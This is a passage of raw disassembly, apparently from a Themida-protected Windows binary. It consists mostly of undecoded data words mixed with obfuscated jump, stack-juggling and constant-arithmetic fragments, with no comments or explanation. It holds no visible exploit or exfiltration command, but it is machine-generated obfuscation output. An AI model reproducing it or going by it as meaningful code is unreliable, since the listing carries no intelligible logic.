4 add esi, 4 xchg esi, [esp] pop esp or edx, eax shl edx, 1 jmp loc_54C61A ; --------------------------------------------------------------------------- dw 34FFh dd 240C8B24h, 4C481h, 0EC830000h, 242C8904h, 5150E589h dd 386995B9h, 150AB847h, 7E96F48h, 8100001Eh, 4C4h, 4BB5300h dd 1000000h, 0C2815BDAh, 2, 0FF947DE9h, 0DBF75BFFh, 46F3814Bh dd 812FF943h, 0CEA5A7C3h, 5BDA8989h, 148BD631h, 4C48324h dd 505EF201h, 2B8h, 58C20100h, 5C241487h, 0C8B60F66h, 0FFDD1DE9h dd 4C483FFh, 0EA2E9h db 0 ; --------------------------------------------------------------------------- loc_54B155: ; CODE XREF: Themida_:00547694j or ebp, edx jmp loc_5469E1 ; --------------------------------------------------------------------------- dd 0E9240C89h, 0FFFF9426h, 332B092Dh, 4008E931h, 0C4830000h dd 580404h, 0A6B353E8h, 80E7EB80h, 0D82899C3h, 0FFB089E9h dd 6605ADFFh, 1619062h, 6CCD68D8h, 2C890000h, 0D46BD24h dd 0D5F74904h, 8102E5C1h, 0E2A0CEC5h, 0E5C1454Eh, 6EDC108h dd 2888E581h, 814566AAh, 4ECh, 24348900h, 0E75590BEh, 0EB14E920h dd 8B66FFFFh db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5450DC ; --------------------------------------------------------------------------- dw 5552h dd 0FFC612E9h, 240489FFh, 0FFD699E9h, 48F59FFh, 0CEE95C24h dd 81FFFF9Fh, 0BE7B11E5h, 81DDF72Bh, 8C91DAEDh, 2447C787h dd 56455B15h, 4286E952h, 7FE90000h, 0F7FFFF93h, 0D348E9D1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B212: ; CODE XREF: Themida_:0054AB6Fj add esp, 4 pop dword ptr [esp] pop esp cmp ecx, eax pushf jmp loc_54458A ; --------------------------------------------------------------------------- dd 2474FF51h, 2434FF04h, 37AFE959h, 0F5810000h, 0D3A9CE05h dd 295DEA01h, 12EA81DAh, 8177514Fh, 0FA7846C2h, 3EA8155h dd 8B25E10Ah, 8950241Ch, 405E0h, 4050000h, 87000000h, 15C2404h dd 13C281C2h, 0E904DC31h, 0FFFF931Ah, 4C481h, 6C290000h dd 51E90424h db 6, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B27F: ; CODE XREF: Themida_:00548D03j add ecx, 4 push esi mov esi, 4 sub ecx, 66E33519h add ecx, esi add ecx, 66E33519h pop esi xchg ecx, [esp] pop esp push ebx jmp loc_54E056 ; --------------------------------------------------------------------------- dd 592434FFh, 4F6068h, 240C8900h, 70685954h, 89000053h dd 468242Ch, 0E9000000h, 4477h, 42474FFh, 0D590E95Bh, 0C89FFFFh dd 27C86824h, 0B8E92A7Dh, 5C000000h, 34FF3888h, 241C8B24h dd 10FCE9h, 0C5815D00h, 4, 52BCBF57h, 0E7D1717Ch, 0A574EF81h dd 0FD01E2F8h, 9F37E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B306: ; CODE XREF: Themida_:0054A975j sub edi, 2F7A3D6Dh sub esp, 4 jmp loc_54AC87 ; --------------------------------------------------------------------------- aIYs1 db '┬хYИ1*',0 align 4 dd 0CC243481h, 5E538E6Ch, 6CCCF681h, 0C15F538Eh, 0BD5505E6h dd 7E57DC1h, 815DEE09h, 52F75C6h, 4E6C177h, 69F4CE81h dd 0C6816D2Ah, 90850410h, 555EF301h, 0FFD821E9h, 0D8285BFFh dd 0FFEA08E9h, 240C8BFFh, 3304C483h, 3C31243Ch, 243C3324h dd 243DE9h, 24248900h, 4BD55h, 6C010000h, 0E95D0424h, 34A1h ; --------------------------------------------------------------------------- loc_54B384: ; CODE XREF: Themida_:00545F30j xchg edx, ebp push ebx jmp loc_54DB40 ; --------------------------------------------------------------------------- dd 4DE9D329h, 5900001Dh, 27C4E981h, 0CF892A7Dh, 5FFA0159h dd 2474FF52h, 48F5A04h, 4FF5C24h, 0D7E99C24h, 53FFFF91h dd 27E96AB3h, 50FFFFF4h, 80DF55B8h, 58C201E5h, 815AD721h dd 0DD6399CFh, 0E6EF816Ah, 81284153h, 0FAF4B3C7h, 2D64E922h dd 1C870000h, 26CDE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B3E6: ; CODE XREF: Themida_:0054E4E9j sub ebp, 0D7A090ECh mov esi, ebp pop ebp shl esi, 4 jmp loc_54BC44 ; --------------------------------------------------------------------------- loc_54B3F7: ; CODE XREF: Themida_:0054978Dj neg ecx jmp loc_54C8BB ; --------------------------------------------------------------------------- dw 0ED81h dd 67311131h, 19E9EE89h, 68FFFFFBh, 2973h, 0B9240C89h dd 0 aUiSO db ')аU┴мИ+O',0 align 2 dd offset dword_598E68 dw 8900h dd 6B1240Ch, 0E9C0C9FEh, 0DB4EE908h, 31ADFFFFh, 0EFBF57D8h dd 0E93B854Eh, 0FFFFC0C0h ; --------------------------------------------------------------------------- loc_54B444: ; CODE XREF: Themida_:0054E634j push 55Eh mov [esp], ecx push 2D8Fh mov [esp], ebp mov ebp, 0EBE7E38h jmp loc_54E74E ; --------------------------------------------------------------------------- dw 1489h dd 0DBBE5624h, 0BA1ED90Ch, 5A844E67h, 348BF201h, 4C48124h dd 0C1000000h, 0EA8105E2h, 2BAB683Ch, 148BD101h, 0F024E924h dd 28FFFFFh, 0FF90F9E9h, 99C980FFh, 0FFBC70E9h, 24248BFFh dd 50241489h, 0A439E99Ch, 0E688FFFFh, 0EAC4E958h, 335DFFFFh dd 4312404h, 24043324h, 2BC8E9h, 2434FF00h, 8324148Bh dd 895604C4h, 4C681E6h, 0E9000000h, 0FFFFC4AFh, 0A41CEA81h dd 0D6010004h, 8324148Bh, 0EE8304C4h, 24343304h, 33243431h dd 248B2434h, 0DA16E924h, 48BFFFFh, 0C078E924h, 0EC83FFFFh dd 0C896602h, 0B3535224h, 0FFEB803Ch, 8904EC83h, 0B353240Ch dd 0C0EB807Eh, 0EB80C3FEh, 8BDD8861h, 0C481241Ch, 4, 4CE9EB30h db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B52F: ; CODE XREF: Themida_:0054D0FCj pop ebx jmp loc_54CD01 ; --------------------------------------------------------------------------- db 58h, 68h, 0FCh dd 89000055h, 0E9542404h, 2BBBh, 9631E955h, 0BB53FFFFh dd 4, 4245C01h, 405585Bh, 68000000h, 58CCh, 0BB241C89h dd 4, 0E95BD801h, 0FFFFBAFEh ; --------------------------------------------------------------------------- loc_54B570: ; CODE XREF: Themida_:0054CEA8j push edx mov edx, 1F1E7A76h shl edx, 4 sub edx, 818254B0h add ebx, 0D193057h jmp loc_54EA80 ; --------------------------------------------------------------------------- loc_54B58A: ; CODE XREF: Themida_:0054F7E9j push esi mov esi, 4 add [esp+4], esi pop esi jmp loc_54934D ; --------------------------------------------------------------------------- dw 8F54h dd 0BB532404h, 4, 4245C01h, 0FFCE23E9h, 4D828FFh, 0B5515219h dd 59EA88A6h, 0E9F7B050h, 3B33h ; --------------------------------------------------------------------------- loc_54B5C0: ; CODE XREF: Themida_:0054C630j pop eax shr eax, 2 neg eax jmp loc_54BCEF ; --------------------------------------------------------------------------- db 2Ch dd 0B5515B05h, 29DBE958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B5D6: ; CODE XREF: Themida_:0054EE7Aj mov ebp, 484920EAh push eax mov eax, 2B857E30h xor eax, 380106BBh push ecx mov ecx, 55ED13A3h or eax, ecx jmp loc_548CEB ; --------------------------------------------------------------------------- db 53h dd 7C88CF88h, 6CE90187h, 66FFFFE9h, 8EBC05Ah, 2CA8C380h dd 0E9D8285Ch, 5D1h ; --------------------------------------------------------------------------- loc_54B610: ; CODE XREF: Themida_:00544B27j or edx, eax jmp loc_54ECA6 ; --------------------------------------------------------------------------- db 52h dd 652A6851h, 0D1596AC6h, 10E981E1h, 0E9BB929Fh, 42B1h ; --------------------------------------------------------------------------- loc_54B62C: ; CODE XREF: Themida_:00549488j pop ecx xchg ebp, [esp] pop esp bt [esp], eax pushf jmp loc_54458A ; --------------------------------------------------------------------------- db 88h dd 34FF5830h, 2434FF24h, 0D9ABE95Ah, 401FFFFh, 4F0CE924h dd 34FF0000h, 4A99E924h, 0E8310000h, 81242C8Bh, 4C4h, 773A6800h dd 34890000h, 30BE924h, 875E0000h, 95E9240Ch, 5AFFFFA7h dd 335FFE29h, 34312434h, 24343324h, 2777E9h db 0 ; --------------------------------------------------------------------------- loc_54B68D: ; CODE XREF: Themida_:00548E11j sub esi, 88EC2FBBh or edx, esi jmp loc_54EF7D ; --------------------------------------------------------------------------- dw 0C483h dd 1816804h, 3C890000h, 39B9E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B6AA: ; CODE XREF: Themida_:00549730j push 69F0h mov [esp], ebp mov ebp, 4 add eax, ebp pop ebp jmp loc_54CF6F ; --------------------------------------------------------------------------- loc_54B6BF: ; CODE XREF: Themida_:005467F7j push esi push 0A592DEF2h pop esi add ecx, 1C377FB2h sub ecx, 6AA60BE5h add ecx, esi add ecx, 6AA60BE5h push esi mov esi, 1C377FB2h sub ecx, esi pop esi pop esi push ebx mov ebx, 24h add ebx, edi push eax mov eax, 0 jmp loc_54FC07 ; --------------------------------------------------------------------------- loc_54B6F7: ; CODE XREF: Themida_:005493FEj pop dword ptr [esp] pop esp shr ecx, 0Ah push 180Ah mov [esp], ebp push ebx push eax mov eax, 109622CCh add [esp+4], eax mov eax, [esp] jmp loc_549EBF ; --------------------------------------------------------------------------- db 58h, 1, 0C6h dd 58FBEE81h, 6E94FB8h, 66FFFFDDh, 57240C8Bh, 4EC81h, 24890000h dd 24048124h, 4, 81243C8Bh, 4C4h, 0A838E900h, 2489FFFFh dd 4BD5524h, 1000000h, 5D04246Ch, 0E92434FFh, 13A4h, 0E9873488h dd 0FFFFD1DBh, 89241C89h, 376E9E3h, 815B0000h, 483A25EBh dd 81D3F701h, 882408EBh, 92F38146h, 0E96BF056h, 0FFFFE0F3h ; --------------------------------------------------------------------------- loc_54B78C: ; CODE XREF: Themida_:0055027Cj push ebx push esi mov esi, 409A0F62h mov ebx, 2501354Bh add ebx, 3A7F526Dh add ebx, esi sub ebx, 3A7F526Dh pop esi jmp loc_54A21C ; --------------------------------------------------------------------------- dd 4C481h, 48F0000h, 24248B24h, 5A2434FFh, 0FFA4F7E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B7C1: ; CODE XREF: Themida_:00546813j push 2A3Dh jmp loc_5445AC ; --------------------------------------------------------------------------- loc_54B7CB: ; CODE XREF: Themida_:0054D6B8j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_54E169 ; --------------------------------------------------------------------------- aXaqt db '(гX─Оt',0 dw 5BF9h dd 8059CB00h, 0C3285AEBh, 0FF9D3FE9h, 2A4ABEFFh, 72681C83h dd 8900004Ah, 1CB82404h, 0E913B36Eh, 0FFFFEB4Bh ; --------------------------------------------------------------------------- loc_54B80C: ; CODE XREF: Themida_:00544AD9j add edx, 81D78BD1h add ebp, edx pop edx xchg ebp, [esp] mov esp, [esp] sub esp, 4 mov [esp], edx mov edx, esp jmp loc_54F403 ; --------------------------------------------------------------------------- db 0FFh dd 48B2434h, 4C48324h, 0C8B5451h, 4C48324h, 4C181h, 0BA520000h dd 4, 0A3E9D101h, 6800001Eh, 796Bh, 0BF243C89h, 46FF6768h dd 2BA7EF81h, 68530267h, 6F5F4EFCh, 0E9241C8Bh, 15h, 3124248Bh dd 0FE92404h, 0BAFFFF8Dh, 79D67F6Fh, 31D6E9h, 4C48300h dd 815BDF29h, 0E16267C7h, 82BA5213h, 0F73A8847h, 0E50AE9D2h dd 433FFFFh, 0B60F5C24h, 33A6E9C0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B8AA: ; CODE XREF: Themida_:0054C325j shr edi, 2 sub edi, 34115335h push edx mov edx, 38E70609h jmp loc_54C9A3 ; --------------------------------------------------------------------------- loc_54B8BE: ; CODE XREF: Themida_:0054C4A2j pop edi and eax, ebp pop ebp shr eax, 0Eh xor eax, ecx push eax push edi mov edi, esp jmp loc_54FFDB ; --------------------------------------------------------------------------- dd 81242C8Bh, 4C4h, 0BA525800h, 14636C9Ch, 5DE9D2F7h, 51FFFF8Dh dd 4E0EE7B9h, 32E98158h, 506EEA6Fh, 0F8320CB8h, 88E9400Dh db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B8FF: ; CODE XREF: Themida_:0054914Dj mov esi, 7C77574Ah and edx, esi jmp loc_54E8D5 ; --------------------------------------------------------------------------- loc_54B90B: ; CODE XREF: Themida_:0054CA19j xchg ebx, [esp] jmp loc_54A490 ; --------------------------------------------------------------------------- db 83h dd 248904ECh, 24048124h, 4, 0E9243C8Bh, 20B0h, 5624048Bh dd 0C6815E54h, 4, 4C681h, 34870000h, 0FE315C24h, 83243C8Bh dd 0DCE904C4h, 80FFFFB5h, 0F7889AF6h, 0FFC19CE9h, 0E9E828FFh dd 0FFFF9FF7h ; --------------------------------------------------------------------------- loc_54B95C: ; CODE XREF: Themida_:00548CC0j mov cl, 38h add cl, 34h shr cl, 5 sub cl, 22h shl cl, 7 jmp loc_54FF75 ; --------------------------------------------------------------------------- db 0FFh dd 34FF3877h, 240C8B24h, 0FFE1F1E9h, 100BEFFh, 0C2E90000h dd 88FFFFA3h, 5AD188C2h, 0FFCB40E9h, 39D368FFh, 5CE90000h dd 53000040h, 9D5AE955h, 0C5FEFFFFh, 0E944ED80h, 0FFFFA647h dd 6822F781h, 0EF81123Ch, 5970DFEh, 3B60EF81h, 0FE014D19h dd 0FFC1A3E9h, 4EC81FFh, 89000000h, 0E951241Ch, 0FFFFBD29h dd 4C481h, 0F4E90000h db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B9DF: ; CODE XREF: Themida_:0054D2FBj xor [esp], ecx xor ecx, [esp] pop esp sub esp, 4 mov [esp], edi jmp loc_54BBFA ; --------------------------------------------------------------------------- loc_54B9F1: ; CODE XREF: Themida_:00550639j pop edx add ebx, ecx mov ecx, [esp] jmp loc_544A2A ; --------------------------------------------------------------------------- dd 5C243C87h, 115E9h, 28C78100h, 81DDE3A6h, 1D1BEFEDh dd 71C58101h, 1702719h, 80BA52FDh, 81297B51h, 4B4056C2h dd 0A7F2812Bh, 2924E188h, 0E08AE9D5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BA32: ; CODE XREF: Themida_:0054BB72j xchg ecx, [esp] pop esp push 6Dh mov [esp], ecx mov ecx, 1 and eax, ecx jmp loc_54789A ; --------------------------------------------------------------------------- dw 77FFh dd 0F7B4E940h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BA52: ; CODE XREF: Themida_:0054AF9Ej mov ebp, edx jmp loc_547D11 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 0DF41EF68h, 24048B62h, 0E904C483h, 0FFFFA905h, 0EB814B4Bh dd 97CB9B64h, 1C73E9h db 0 ; --------------------------------------------------------------------------- loc_54BA79: ; CODE XREF: Themida_:0054FC2Dj add ebx, 32FBA285h add esi, 61B55A94h sub esi, ebx sub esp, 4 mov [esp], edx mov edx, 61B55A94h sub esi, edx jmp loc_54E1DF ; --------------------------------------------------------------------------- loc_54BA99: ; CODE XREF: Themida_:00549011j pop esi jmp loc_548FB8 ; --------------------------------------------------------------------------- db 33h dd 2C31242Ch, 242C3324h, 0FF8B79E9h, 81E189FFh, 4C1h, 4E98300h dd 0E9240C87h, 0FFFFB024h, 0CEDE4968h, 82E95D81h, 0F7FFFFD4h dd 6FF181D9h, 0F727744Ah, 4FC181D9h, 1407006h, 0DC2D59C8h dd 0E97D724Ah, 0FFFFE14Fh, 8904EC83h, 4BA2414h, 1000000h dd 53565AD3h, 2BBh, 5BDE8900h, 875EF301h, 248B241Ch, 240CD324h dd 8A78E99Ch, 0D001FFFFh, 0B148E95Ah, 0E95AFFFFh, 0FFFF8A6Ah dd 389568h, 243C8900h, 118AE9h, 57E38900h, 0CAFE9h, 24148B00h dd 4C481h, 0F0010000h, 8324348Bh, 20504C4h, 87000000h dd 665C2404h, 0E9240C8Bh, 429Ch, 37B0BA52h, 0E94A748Ch dd 0FFFFB795h ; --------------------------------------------------------------------------- loc_54BB64: ; CODE XREF: Themida_:0054E18Dj mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_54BA32 ; --------------------------------------------------------------------------- db 89h dd 99BB241Ch, 810C075Ch, 6C6128E3h, 34E95111h, 31FFFF8Dh dd 0F78158C7h, 0BF707FEh, 5891C281h, 0FA013326h, 5891EA81h dd 815F3326h, 2C2h, 24148700h, 0FFDF2BE9h, 0B65266FFh dd 0E9F000ADh, 0FFFFA3BCh, 0F3E9DE88h, 0F7000047h, 4EBE56DDh dd 11DC5BFh, 24348BF5h, 5104C483h, 0CB89E989h, 242C8B59h dd 0FFA2B3E9h, 5B5C04FFh, 0FFB414E9h, 67A368FFh, 815A461Ah dd 0E32E8ECAh, 0D369E937h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BBFA: ; CODE XREF: Themida_:0054B9ECj mov edi, 4 and ecx, edi mov edi, [esp] jmp loc_54476F ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 24348B5Bh, 4C481h, 0D8010000h, 8B2434FFh, 0C483241Ch dd 3337E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BC26: ; CODE XREF: Themida_:0054D118j mov ebx, [esp] jmp loc_54DA15 ; --------------------------------------------------------------------------- dw 34FFh dd 240C8B24h, 6804C483h, 1890h, 0E9243489h, 36D7h ; --------------------------------------------------------------------------- loc_54BC44: ; CODE XREF: Themida_:0054B3F2j add esi, 0CCEB6986h jmp loc_54E5FE ; --------------------------------------------------------------------------- db 52h dd 0E951BBB2h, 0FFFFD843h, 405h, 22CBE900h, 53AD0000h dd 1127E9h, 5FFA0100h, 835AD601h, 348704C6h, 20E95C24h dd 58FFFFE6h, 15D6BA52h, 0EA810D57h, 0FF7672Ah, 0F281DAF7h dd 670B5418h, 1359C281h, 0D021B530h, 3E8C15Ah, 32628005h dd 2570052Bh, 19E906A1h db 0D4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BCAB: ; CODE XREF: Themida_:00545A55j add ebp, edx jmp loc_549447 ; --------------------------------------------------------------------------- dw 8B66h dd 0EC832404h, 0CFC3E904h, 159FFFFh, 0C78358C7h, 243C8704h dd 40E9515Ch, 83FFFFDFh, 0C68304C4h, 0E5E0E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BCDA: ; CODE XREF: Themida_:0054E1F7j xor eax, ecx jmp loc_5462E7 ; --------------------------------------------------------------------------- loc_54BCE1: ; CODE XREF: Themida_:00547E82j push edx mov edx, 7D0830E0h add edi, edx pop edx jmp loc_5504F9 ; --------------------------------------------------------------------------- loc_54BCEF: ; CODE XREF: Themida_:0054B5C6j add eax, 0FBAA968h jmp loc_54AF8C ; --------------------------------------------------------------------------- db 4Bh, 81h, 0C3h dd 1BCB40FBh, 0FFE0BBE9h, 4B8FFh, 0C3010000h, 8324048Bh dd 0C38304C4h, 241C8704h, 7BD8685Ch, 48E90000h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BD23: ; CODE XREF: Themida_:00544841j sub dword ptr [esp], 7F4602DBh jmp loc_54D486 ; --------------------------------------------------------------------------- loc_54BD2F: ; CODE XREF: Themida_:0054DB35j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_54D979 ; --------------------------------------------------------------------------- dw 1CF7h dd 43E99C24h, 8BFFFF88h, 0C4812434h, 4, 0E95DE829h, 2920h dd 8124048Bh, 4C4h, 68505700h, 62822B3Bh, 5CE0558h, 0C789F3E7h dd 1CF8158h, 0E97DE82Fh, 0FFFFA0EDh, 0EEE9F389h, 66000027h dd 66513768h, 66241489h, 0F7E99C50h, 66FFFF87h, 0E9240489h dd 0FFFF87EEh, 4AC04ACh, 22B551B3h, 11E9E828h db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54BDAB: ; CODE XREF: Themida_:00548187j add al, 4Eh jmp loc_54CEAD ; --------------------------------------------------------------------------- dw 0EC83h dd 241C8904h, 4BBh, 0E9DA0100h, 3E6Eh ; --------------------------------------------------------------------------- loc_54BDC4: ; CODE XREF: Themida_:0054FA4Fj mov eax, esp add eax, 4 jmp loc_545A8C ; --------------------------------------------------------------------------- dd 0E9028864h, 0FFFF87B2h, 8102EAC1h, 0CCA1D9F2h, 5AD5897Bh dd 3D51E9h, 48B6600h, 0CB11E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BDF2: ; CODE XREF: Themida_:0054A2DDj mov ebx, 1 jmp loc_546291 ; --------------------------------------------------------------------------- dd 0B8240489h, 5DE4630Fh, 7E0DBE56h, 0E681054Fh, 0A8978DEh dd 792CCE81h, 81460D14h, 154C79EEh, 0ECF68175h, 0E99E1045h dd 0FFFFB731h, 4EFB68h, 240C8900h, 5626AEB9h, 59CF2976h dd 0C781D701h, 765626AEh, 684FB951h, 0CF012F77h, 0F8315A59h dd 2EEE9h, 24248900h, 4240483h, 4C18159h, 68000000h, 3EA6h dd 50241489h, 8E4708B8h, 52E9483Bh, 50FFFFA2h, 0DDE9E089h dd 28FFFFFDh, 2CC02CF8h, 0EC8151A6h, 4, 4007E9h, 7579BB00h dd 0F3817DD7h, 326B5D56h, 5702E3C1h, 3B40DFBFh, 142DE94Ah dd 565F0000h, 0FFB0CDE9h, 24148BFFh, 1A19E9h db 0 ; --------------------------------------------------------------------------- loc_54BEB5: ; CODE XREF: Themida_:0054DB4Aj add edi, 4 sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], ebp pop ebx pop ebp jmp loc_5491F8 ; --------------------------------------------------------------------------- db 0ADh, 2Dh, 0FEh dd 135EF3Eh, 25E957D8h, 66000023h, 2D66E801h, 2C8B18BAh dd 0E6F7E924h, 1C89FFFFh, 2BB24h, 0D8010000h, 5B2434FFh dd 4C481h, 4870000h, 8B665C24h, 47682404h, 8900000Dh, 0FE682414h dd 54000042h, 8324048Fh, 8B042404h, 0D8E92414h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BF27: ; CODE XREF: Themida_:0054FEE3j sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebp neg dword ptr [esp] jmp loc_54866F ; --------------------------------------------------------------------------- dd 0C925E958h, 7C8AFFFFh, 44880224h, 8B660224h, 54512404h dd 4C18159h, 81000000h, 2C1h, 240C8700h, 0FFC83AE9h, 6DE95EFFh dd 66FFFFB8h, 56240C8Bh, 0FBE9E689h db 6, 2 dup(0) ; --------------------------------------------------------------------------- loc_54BF77: ; CODE XREF: Themida_:00548307j or ebx, eax jmp loc_547B1B ; --------------------------------------------------------------------------- dw 481h dd 424h, 2EA3E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BF8A: ; CODE XREF: Themida_:00549D18j add ebx, edi jmp loc_5451CC ; --------------------------------------------------------------------------- aFzsx db 'fZИX=',0 align 4 dd 11ABEB81h, 0B9511C29h, 66B357C5h, 26D2E981h, 68410D24h dd 1B83h, 0BB241C89h, 307A1E10h, 0FFE9D8E9h, 1FC868FFh dd 8FE90000h db 37h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54BFC7: ; CODE XREF: Themida_:0054CF4Dj imul cx push small 7C97h mov [esp], dx push ax pushf jmp loc_54458A ; --------------------------------------------------------------------------- dw 34FFh dd 2434FF24h, 8324048Bh, 0C4E904C4h, 5BFFFF8Bh, 54D0B850h dd 0EFE913D7h, 0E9FFFFA5h, 0FFFF858Eh, 0FFB60EB1h, 34FFCE30h dd 0C4815924h, 4, 0A9EE80h, 0A9C680DEh, 5B2434FFh, 4EC81h dd 4890000h, 5E08924h, 4, 405h, 24043300h, 33240431h, 305C2404h dd 0C3305AF0h, 0FFDFB6E9h, 686653FFh, 8B6670ACh, 0D1E9241Ch dd 59FFFF92h, 2C381h, 1C870000h, 0D4FEE924h, 248BFFFFh dd 0CC6CE924h, 0FF5CFFFFh, 48B2434h, 53E95724h, 0BBFFFFE4h dd 0D915B596h, 315BDD29h, 0D8015DEBh, 0FFE4D8E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C085: ; CODE XREF: Themida_:0054FCBBj mov [esp], ebp push ecx mov ecx, 9555554h mov ebp, 4CECC651h sub esp, 4 mov [esp], edi mov edi, 0A32313Eh jmp loc_548CC5 ; --------------------------------------------------------------------------- db 0B0h dd 5AF028F7h, 846E9h, 24048F00h, 0FF24248Bh, 68582434h dd 5BC4h, 0E9240489h, 423Ch, 0E2EDE955h, 0C481FFFFh, 4 dd 44C3C281h, 0C2014A9Ah, 0FFB7E9E9h, 10BD55FFh, 812C5C6Eh dd 0EFEC81C5h, 17940537h, 66E915F9h, 0ACFFFFE0h, 8904B204h dd 0D800E32Ch, 892CE304h, 4EC81h, 0C890000h, 53FDB524h dd 0FD28FFB7h, 4EC835Bh, 0FBFE9h, 24348700h, 0FF9BE5E9h dd 0E9EB09FFh, 0FFFFE992h, 94E95854h db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C12F: ; CODE XREF: Themida_:0054E898j sub ebp, 109622CCh push 317Ah jmp loc_54FA15 ; --------------------------------------------------------------------------- db 5Fh dd 0BE9h, 58C18000h, 0E96DE980h, 0FFFFA765h, 0FE67E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C156: ; CODE XREF: Themida_:0054E0ECj push ecx jmp loc_544A62 ; --------------------------------------------------------------------------- loc_54C15C: ; CODE XREF: Themida_:0054F976j push 5F80h mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] imul cx, ax push cx pushf jmp loc_54458A ; --------------------------------------------------------------------------- db 59h dd 80FFEB80h, 0CB8006EBh, 1C380CDh, 0FFFA2FE9h, 4EC81FFh dd 89000000h, 8DE92404h, 50FFFFFFh, 0FBB6E954h, 0E801FFFFh dd 56D8015Dh, 0F33271BEh, 84F6815Fh, 29065D13h, 24348BF0h dd 4C481h, 5BE90000h, 5C000013h, 0FFD51DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54C1C9: ; CODE XREF: Themida_:0054E7CCj and edx, ebx pop ebx jmp loc_54FFB4 ; --------------------------------------------------------------------------- db 68h, 88h, 37h dd 1C890000h, 2474FF24h, 48F5B04h, 24248B24h, 54240489h dd 0FFAF2DE9h, 305B5AFFh, 845E9C1h, 0C4810000h, 4, 0B8505752h dd 2E0A2D81h, 1456E9h, 0E91B3400h, 0FFFF9306h, 2434875Bh dd 4C2815Ch, 81000000h, 2EAh, 6A2E900h, 0F9F60000h, 0CCB60F66h dd 383D6866h, 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFFE49Ch dd 5C24048Fh, 0FF848AE9h, 0E95266FFh, 2DF0h, 5404EC83h dd 8124048Fh, 42404h, 575E0000h, 8C3147BFh, 0E7814742h dd 78ED61C3h, 0FFF73BE9h, 4EF83FFh, 0E9243C87h, 0FFFFEA54h ; --------------------------------------------------------------------------- loc_54C27C: ; CODE XREF: Themida_:005459DEj pop eax xchg ecx, [esp] jmp loc_54CF4C ; --------------------------------------------------------------------------- db 0C1h, 0EFh, 6 dd 5512BD55h, 0E5C16C69h, 50EDD106h, 0F032F5B8h, 2EC92D61h dd 0AD05003Bh, 1D87B68h, 0ED8158C5h, 0C82CC24Ch, 815DEF09h dd 1CD3C2F7h, 8BFE893Ch, 14E9243Ch, 88FFFF98h, 58E288FCh dd 0FFBD4DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54C2C9: ; CODE XREF: Themida_:0054DA75j pop ecx mov ebx, [esp] jmp loc_549D97 ; --------------------------------------------------------------------------- dw 0F66h aQhpo db '╤лQhpO',0 align 4 dd 0FFF2B9E9h, 4C481FFh, 0E9000000h, 890h, 6656E980h, 8324148Bh dd 0E18002C4h, 3E1C0E3h, 0C180E9D0h, 59C888A0h, 2858C328h dd 112568C3h, 0C890000h, 0F607B124h, 8BBBE9D9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C31A: ; CODE XREF: Themida_:00549D1Fj mov edi, 0D5F55D9h and edi, 83718F3h jmp loc_54B8AA ; --------------------------------------------------------------------------- dw 48Fh dd 35E95C24h, 66000002h, 67E932FFh, 4DFFFF94h, 0BB53DDF7h dd 45EA2A27h, 4307EBC1h, 1F1EE9h db 0 ; --------------------------------------------------------------------------- loc_54C34D: ; CODE XREF: Themida_:0054CF9Dj push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp jmp loc_54C733 ; --------------------------------------------------------------------------- db 5Ch dd 4BA52h, 0D1290000h, 0EA00E95Ah, 0EB83FFFFh, 2642E9FFh dd 0B9510000h, 730C2BA1h, 0C981D9F7h, 6CEF0EE3h, 0F1814949h dd 0ECFFDEF9h, 5659CF01h, 4BEh, 2248E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C396: ; CODE XREF: Themida_:0054A7B6j add al, 44h dec al or al, 62h add al, 0FAh inc al and al, 0D7h jmp loc_54D50A ; --------------------------------------------------------------------------- db 68h dd 3663h, 54243C89h, 0D0BD555Fh, 5279E66Ch, 557EC4BAh dd 3BB5310h, 2120C417h, 241C8BDAh, 4C481h, 0EA810000h dd 65914ABCh, 0E9E2D14Ah, 0FFFF92F3h, 240C8B66h, 0FF96E8E9h dd 4C481FFh, 83000000h, 97E904C4h, 81FFFF81h, 305EDCF1h dd 0FFC82901h, 0C8B2434h, 4C48124h, 83000000h, 0D00104C4h dd 7464DD05h, 24148B63h, 0E9E18951h, 187Dh, 54CEC281h dd 0F2297EF9h, 54CEEA81h, 0C15E7EF9h, 895207EAh, 3F5968E2h dd 0C890000h, 4B924h, 